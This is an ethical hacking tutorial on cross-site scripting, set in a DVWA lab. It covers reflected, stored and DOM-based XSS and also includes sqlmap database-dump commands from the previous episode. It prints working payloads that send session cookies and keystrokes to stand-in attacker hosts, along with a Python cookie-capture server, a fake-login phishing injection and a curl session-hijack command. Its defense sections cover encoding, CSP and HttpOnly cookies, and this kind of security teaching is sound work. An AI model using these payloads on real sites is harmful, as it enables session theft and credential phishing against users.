Learn Ethical Hacking (#14) - Cross-Site Scripting (XSS) - Injecting Code Into Browsers
Learn Ethical Hacking (#14) - Cross-Site Scripting (XSS) - Injecting Code Into Browsers

What will I learn
- What Cross-Site Scripting is and why it's the most common web vulnerability;
- The three types: Reflected, Stored, and DOM-based XSS;
- Session hijacking via XSS: stealing cookies in real time;
- Keylogging and phishing via injected JavaScript;
- Hands-on exploitation of all three types on DVWA;
- The defense: output encoding, Content Security Policy, HttpOnly cookies.
Requirements
- A working modern computer running macOS, Windows or Ubuntu;
- Your hacking lab from Episode 2 (Kali + DVWA at Security Level: Low);
- Basic JavaScript knowledge (variables, functions, DOM -- we'll cover what you need);
- The ambition to learn ethical hacking and security research.
Difficulty
- Beginner
Curriculum (of the Learn Ethical Hacking series):
- Learn Ethical Hacking (#1) - Why Hackers Win
- Learn Ethical Hacking (#2) - Your Hacking Lab
- Learn Ethical Hacking (#3) - How the Internet Actually Works - For Attackers
- Learn Ethical Hacking (#4) - Reconnaissance - The Art of Not Being Noticed
- Learn Ethical Hacking (#5) - Active Scanning - Mapping the Attack Surface
- Learn Ethical Hacking (#6) - The AI Slop Epidemic - Why AI-Generated Code Is a Security Disaster
- Learn Ethical Hacking (#7) - Passwords - Why Humans Are the Weakest Cipher
- Learn Ethical Hacking (#8) - Social Engineering - Hacking the Human
- Learn Ethical Hacking (#9) - Cryptography for Hackers - What Protects Data (and What Doesn't)
- Learn Ethical Hacking (#10) - The Vulnerability Lifecycle - From Discovery to Patch to Exploit
- Learn Ethical Hacking (#11) - HTTP Deep Dive - Request Smuggling and Header Injection
- Learn Ethical Hacking (#12) - SQL Injection - The Bug That Won't Die
- Learn Ethical Hacking (#13) - SQL Injection Advanced - Extracting Entire Databases
- Learn Ethical Hacking (#14) - Cross-Site Scripting (XSS) - Injecting Code Into Browsers (this post)
Solutions to Episode 13 Exercises
Exercise 1 -- sqlmap automated attack:
# Security: Low -- sqlmap finds UNION injection immediately
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=xxx; security=low" --batch -D dvwa -T users --dump
# Results: 5 users dumped with MD5 hashes, 5/5 cracked automatically
# Total time: ~15 seconds
# Security: Medium -- dropdown menu, POST request
# Intercept with Burp, save request to file, use sqlmap with -r flag:
sqlmap -r request.txt --batch -D dvwa -T users --dump
# sqlmap detects numeric injection (no quotes needed), still works
# Switches to different injection syntax automatically
The key insight: sqlmap adapts. When one technique fails, it tries others. When the input is numeric instead of string, it adjusts the payload syntax. This is why automated tools are valuable -- they test hundreds of variations.
Exercise 2 -- Binary search blind extractor:
Performance comparison:
- Database name "dvwa" (4 chars):
- Naive: 4 * 95 = 380 requests maximum (actual: ~200 avg)
- Binary: 4 * 7 = 28 requests maximum
- Speedup: ~13.6x
- Table name "users" (5 chars):
- Naive: 5 * 95 = 475 requests maximum
- Binary: 5 * 7 = 35 requests maximum
- Speedup: ~13.6x
Binary search is consistently ~13-14x faster because
log2(95) ~= 6.6, rounded up to 7 requests per character
vs 95/2 = 47.5 average requests per character (naive linear).
The key insight: binary search transforms blind SQL injection from "theoretically possible but slow" to "practically fast." This is the technique sqlmap uses internally. Algorithmic knowledge makes better security tools.
Exercise 3 -- Post-2020 SQLi breaches:
1. Accellion FTA (2021): File transfer appliance SQL injection
exploited by Cl0p ransomware group. Extracted files from
hundreds of organizations. CVSS 9.8.
2. MOVEit Transfer (2023, CVE-2023-34362): SQL injection in file
transfer software. Cl0p again. 2,500+ organizations affected.
CVSS 9.8. Data of ~84 million people exposed.
3. WooCommerce (2021, CVE-2021-32789): SQL injection in WordPress
e-commerce plugin used by 5+ million sites. CVSS 7.5.
Why still happening: legacy code, third-party components, ORM bypass
(raw queries for "performance"), AI-generated code reverting to
string concatenation, and the sheer volume of new code being written
faster than it can be reviewed.
Learn Ethical Hacking (#14) - Cross-Site Scripting (XSS)
SQL injection attacks the server. XSS attacks the user's browser. If SQL injection is breaking into the vault, XSS is tricking the bank teller into handing you someone else's money.
Cross-Site Scripting is the most common web vulnerability in the wild. OWASP has had it in the Top 10 since the list was created. And it's remarkably simple: if a web application includes user input in the HTML it sends to browsers without proper encoding, an attacker can inject JavaScript that runs in other users' browsers.
Your code. Their browser. Their session.
We spent two full episodes on SQL injection -- the server-side king of web vulnerabilities. Now we pivot to the client-side king. And where SQL injection exploits the boundary between data and SQL code, XSS exploits the boundary between data and HTML/JavaScript code. Same fundamental class of bug, different execution context. The pattern keeps repeating: untrusted input treated as code. We've been tracking this since episode 1.
Hier we gaan.
The Fundamental Problem
A web application has a search function:
// Server-side PHP
echo "You searched for: " . $_GET['query'];
Normal use: search.php?query=kittens produces:
You searched for: kittens
Attacker's use: search.php?query=<script>alert('XSS')</script> produces:
You searched for: <script>alert('XSS')</script>
The browser doesn't know that <script> tag was injected by a user -- it treats it as part of the page and executes the JavaScript. An alert is harmless. But document.cookie gives us the user's session. document.location redirects them to a phishing page. document.onkeypress captures every keystroke.
Think about what just happened. The server took user input (<script>alert('XSS')</script>), embedded it in the HTML response without any transformation, and the browser executed it. The browser has no way to distinguish "HTML the developer wrote" from "HTML the attacker injected" because they're in the same document, in the same response, rendered by the same parser. The data became code -- exactly the same fundamental problem as SQL injection, just in a different language and a different execution environment.
Type 1: Reflected XSS
Reflected XSS is in the URL or form data -- the script is "reflected" back to the user who sent the request. The attacker needs to trick the victim into clicking a crafted link.
On DVWA (Security: Low), go to XSS (Reflected). Enter:
<script>alert(document.cookie)</script>
An alert box pops up showing your session cookie. Now imagine the attacker sends the victim a link:
http://192.168.56.101/dvwa/vulnerabilities/xss_r/?name=<script>document.location='http://attacker.com/steal?c='+document.cookie</script>
When the victim clicks this link, their browser executes the script, which redirects them to the attacker's server with their session cookie in the URL. The attacker captures the cookie and hijacks the session.
The attack flow is: attacker crafts URL -> victim clicks URL -> victim's browser requests the page from the legitimate server -> server reflects the payload in the response -> victim's browser executes the script -> script exfiltrates the session to the attacker. Notice that the legitimate server is involved -- the victim IS visiting the real website. That's what makes it convincing. The URL looks suspicious if you examine it closely, but most users (and most URL shorteners) don't.
Having said that, reflected XSS requires a social engineering component: you need the victim to click a link. That's its main limitation compared to stored XSS, which we'll look at next.
Type 2: Stored XSS
Stored XSS is persistent -- the malicious script is saved in the application's database and served to every user who visits the affected page. This is far more dangerous because NO user interaction is needed beyond visiting a normal page.
On DVWA, go to XSS (Stored). It's a guestbook. Enter:
Name: Attacker
Message: <script>alert('Stored XSS - cookie: ' + document.cookie)</script>
Submit. Now every time ANY user loads this guestbook page, the script executes in THEIR browser. In a real application, this could be a forum post, a comment, a profile bio, a product review -- anywhere user content is displayed to other users.
The reason stored XSS is so much worse than reflected is scale. A reflected XSS attack needs to trick each victim individually (one phishing email, one malicious link). A stored XSS attack hits every single person who visits the page. If you find stored XSS in a popular forum, you could harvest thousands of sessions without sending a single email. The malicious script just sits there in the database, patiently executing in every new browser that loads the page. I've seen pentest reports where a single stored XSS in a support ticket system gave the tester access to every customer service agent's session within a day ;-)
Type 3: DOM-Based XSS
DOM-based XSS is executed entirely in the browser -- the malicious input never reaches the server. It happens when client-side JavaScript reads user input (from the URL, the fragment identifier, or postMessage) and writes it into the page without sanitization:
// Vulnerable client-side code
var name = document.location.hash.substring(1);
document.getElementById('greeting').innerHTML = 'Hello, ' + name;
// NOTE: innerHTML with untrusted input is the XSS vulnerability here
// This is the ATTACK we're demonstrating, not code to copy
Attacker URL: http://app.com/page#<img src=x onerror=alert(document.cookie)>
The innerHTML assignment parses the <img> tag, the onerror fires when the image fails to load, and the JavaScript executes. The server's logs show a normal page request with no injection -- the attack is entirely client-side.
This makes DOM-based XSS particularly hard to detect with server-side security tools. A WAF sitting in front of the application sees a perfectly normal request (the fragment #... isn't even sent to the server -- that's how URL fragments work per the HTTP spec). The vulnerability exists entirely in the client-side JavaScript code, and the exploit happens entirely in the browser. Server-side logging, server-side input validation, server-side output encoding -- none of it helps here because the server is never involved in the vulnerable code path.
The fix for DOM-based XSS is to use textContent instead of innerHTML when inserting untrusted data, or to use the DOMPurify library if HTML rendering is actually needed. We'll get deeper into DOM-based defenses and bypass techniques in the next episode.
Building a Session Hijacker
Let's build the attacker's capture server for our lab:
#!/usr/bin/env python3
"""
XSS cookie capture server -- receives stolen sessions.
LAB USE ONLY. NEVER deploy against real targets.
"""
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs
import datetime
class CookieCatcher(BaseHTTPRequestHandler):
def do_GET(self):
query = parse_qs(urlparse(self.path).query)
cookie = query.get('c', ['none'])[0]
timestamp = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')
print(f"\n[+] Cookie captured at {timestamp}")
print(f" From: {self.client_address[0]}")
print(f" Cookie: {cookie}")
with open('stolen_cookies.txt', 'a') as f:
f.write(f"[{timestamp}] {self.client_address[0]}: {cookie}\n")
# Send a 1x1 pixel GIF so the victim sees nothing suspicious
self.send_response(200)
self.send_header('Content-Type', 'image/gif')
self.end_headers()
self.wfile.write(b'GIF89a\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff'
b'\x00\x00\x00!\xf9\x04\x00\x00\x00\x00\x00,\x00'
b'\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02D\x01\x00;')
def log_message(self, format, *args):
pass # suppress default logging
server = HTTPServer(('0.0.0.0', 9090), CookieCatcher)
print("[*] Cookie catcher listening on :9090")
server.serve_forever()
Now the XSS payload for DVWA's stored XSS:
<script>new Image().src='http://KALI_IP:9090/steal?c='+document.cookie;</script>
This creates an invisible image request to our capture server, carrying the victim's cookies. The Image() approach is stealthier than document.location because the user isn't redirected -- they stay on the page and never notice anything happened.
Let's walk through the full attack chain step by step, because understanding the sequence is important:
- Start the capture server on your Kali VM:
python3 cookie_catcher.py - Go to DVWA's Stored XSS page and submit the
<script>payload in the message field - The payload is now stored in the DVWA database
- Any user who visits that guestbook page triggers the script -- their browser makes an invisible request to your capture server
- Check
stolen_cookies.txton your Kali VM -- you now have theirPHPSESSIDvalue - Use that cookie in curl or Burp to access DVWA as the victim:
curl -b "PHPSESSID=stolen_value; security=low" http://192.168.56.101/dvwa/
You just hijacked a session using stored XSS. In a real application, step 6 gives you full access to the victim's account -- their profile, their messages, their settings, whatever the application lets authenticated users do. And the victim never saw anything unusual. They just visited a guestbook page.
Beyond Alert Boxes: Real XSS Payloads
alert() proves the concept. These payloads show the real impact:
Keylogger:
// Attacker payload -- captures all keystrokes on the vulnerable page
document.onkeypress = function(e) {
new Image().src = 'http://attacker:9090/keys?k=' + e.key;
};
Every keystroke the victim types on the page -- including passwords typed into login forms -- is sent to the attacker.
Phishing form injection:
An attacker can replace the entire page content with a fake login form using DOM manipulation. The victim thinks their session expired and re-enters their credentials -- straight to the attacker. This works because the injected JavaScript has full control over the DOM. Here's a simplified version:
// Replace page content with fake login form
document.body.innerHTML = '<h2>Session expired. Please log in again.</h2>' +
'<form action="http://attacker:9090/phish" method="GET">' +
'<input name="user" placeholder="Username"><br>' +
'<input name="pass" type="password" placeholder="Password"><br>' +
'<button>Log In</button></form>';
The victim sees what looks like a legitimate login page. The URL bar still shows the real domain. They type their credentials and hit submit -- and those credentials go straight to the attacker's server. This is XSS-powered phishing, and it's extremely effective because the victim is already on the legitimate website. No suspicous domain to notice.
Cryptocurrency miner:
Inject a script that mines cryptocurrency in the victim's browser while they're on the page. Not hypothetical -- Coinhive (now defunct) was used exactly this way on thousands of compromised websites between 2017 and 2019. The victim's CPU spikes to 100%, their laptop fan spins up, and the attacker earns cryptocurrency. Gewoon vreselijk.
XSS Context Matters: Where the Input Lands
One thing that catches beginners off guard is that XSS payloads depend entirely on WHERE in the HTML your input gets reflected. The <script>alert(1)</script> payload only works if the input lands in regular HTML body content. If the input lands inside an HTML attribute, a JavaScript string, a URL, or a CSS context, you need different payloads:
(html comment removed: Input in HTML body -- standard payload works )
Hello, <script>alert(1)</script>
(html comment removed: Input in HTML attribute -- break out of the attribute first )
<input value="INJECTION_HERE">
Payload: " onfocus="alert(1)" autofocus="
(html comment removed: Input in JavaScript string -- break out of the string )
<script>var name = "INJECTION_HERE";</script>
Payload: ";alert(1)//
(html comment removed: Input in URL context (href) -- javascript: protocol )
<a href="INJECTION_HERE">Click</a>
Payload: javascript:alert(1)
Each context requires a different escape strategy. A payload that works in one context is harmless text in another. This is why XSS scanning tools test multiple payloads per parameter -- they don't know which context the input lands in without checking all of them.
This also explains why output encoding (the defense we'll discuss shortly) must be context-aware. HTML encoding is different from JavaScript encoding is different from URL encoding. If you HTML-encode a value that gets inserted into a JavaScript string, the encoding doesn't protect you because the HTML entities aren't interpreted inside <script> tags. The encode function must match the output context. Getting this wrong is surprisingly common -- I've seen developers HTML-encode everything and then wonder why their JavaScript string injections still work ;-)
The Defense
1. Output encoding -- the fundamental fix:
# VULNERABLE
return f"<p>Hello, {user_input}</p>"
# SECURE -- HTML entity encoding
import html
return f"<p>Hello, {html.escape(user_input)}</p>"
# <script> becomes <script> -- displayed as text, not executed
Encoding converts special characters (<, >, ", ', &) into HTML entities that the browser displays as text instead of interpreting as code. This must happen at OUTPUT time, in the correct context (HTML, JavaScript, URL, CSS each need different encoding).
The critical word there is output. A common mistake is encoding input when it arrives (input validation/sanitization) and then storing the encoded version. This creates problems when the same data is used in multiple output contexts (a value that's HTML-encoded for a web page shouldn't be HTML-encoded again when returned via a JSON API). Encode at the point of output, for the specific output context you're rendering into. Frameworks like Django and React do this by default -- template variables are auto-escaped for HTML context. But developers still bypass it (Django's |safe filter, React's dangerouslySetInnerHTML) when they need to render user-provided HTML, and that's where vulnerabilities creep back in.
2. Content Security Policy (CSP):
Content-Security-Policy: default-src 'self'; script-src 'self'
CSP tells the browser: "only execute JavaScript from MY domain." Inline scripts and scripts from other domains are blocked. This is the strongest XSS mitigation because it works even if encoding is missed somewhere.
When CSP is properly deployed, our entire attack chain falls apart. The injected <script> tag is an inline script -- CSP blocks it. The onerror=alert(1) is an inline event handler -- CSP blocks it. The javascript:alert(1) href is an inline script -- CSP blocks it. The only scripts that execute are ones loaded from the whitelisted domain via <script src="..."> tags.
Having said that, CSP is often deployed incorrectly. Adding 'unsafe-inline' to script-src (to avoid breaking existing inline scripts) completely defeats the XSS protection. Adding *.googleapis.com to allow Google Fonts also allows loading scripts from any Google-hosted CDN, which attackers can abuse. CSP is a powerfull tool, but it requires careful configuration to actually protect against XSS. We'll dig into CSP bypass techniques in the next episode.
3. HttpOnly cookies:
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
HttpOnly means JavaScript cannot read this cookie (document.cookie returns nothing). Even if XSS exists, the session cookie can't be stolen. Secure ensures it's only sent over HTTPS. SameSite=Strict prevents CSRF (which we'll cover in a later episode).
HttpOnly doesn't fix XSS -- the vulnerability still exists, and the attacker can still execute JavaScript in the victim's browser. But it removes the most common exploit path (session hijacking via cookie theft). The attacker can still do keylogging, phishing, DOM manipulation -- everything except reading document.cookie. It's defense in depth: even if output encoding fails, even if CSP is misconfigured, the session cookies are at least protected from direct JavaScript access.
AI Slop and XSS
AI code assistants are prolific XSS generators (continuing our thread from episode 6, and the SQL injection angle from episode 12):
- They use innerHTML with user input (DOM-based XSS) because it's simpler than creating elements properly
- They forget output encoding because the code "works" without it
- They generate React components with
dangerouslySetInnerHTMLwhen it's not needed - They skip CSP headers entirely because they don't affect functionality
The Stanford study from Episode 6 found XSS was one of the top 3 vulnerability types in AI-generated code. The code renders user input beautifully. It just also executes it. Same story as SQL injection: the vulnerable version is syntactically cleaner, reads more naturally, works perfectly in testing, and is a critical security hole. The AI optimizes for "does it work?" not "is it safe?" Hetzelfde liedje, ander couplet.
Exercises
Exercise 1: Exploit all three XSS types on DVWA (Security: Low): (a) Reflected XSS -- inject a script that shows the current user's cookie in an alert, (b) Stored XSS -- inject a script in the guestbook that steals cookies and sends them to your capture server, (c) use the cookie capture server from this episode to receive the stolen cookie, then use that cookie in a new browser session (curl or Burp) to access DVWA as the victim. Document the full session hijacking chain in ~/lab-notes/xss-session-hijack.md.
Exercise 2: Write a Python script called xss_scanner.py that takes a URL with parameters and tests for reflected XSS. For each parameter, inject 5 different payloads: <script>alert(1)</script>, "><img src=x onerror=alert(1)>, 'onmouseover='alert(1), <svg onload=alert(1)>, and javascript:alert(1). Check if the payload appears in the response unencoded (search for the exact payload string in the response body). Report which parameters are vulnerable and which payloads worked. Save the script as ~/pentest-tools/xss_scanner.py.
Exercise 3: Create a simple HTML page with a DOM-based XSS vulnerability that reads from window.location.hash and writes to the DOM unsafely using innerHTML. Then create a second secure version that uses textContent instead of innerHTML. Test both with a payload containing a script tag. Write 3-4 sentences explaining why textContent is safe: it treats everything as plain text, never parsing HTML tags, so injected markup is displayed literally instead of being executed by the browser. Save both versions in ~/lab-notes/dom-xss-demo/.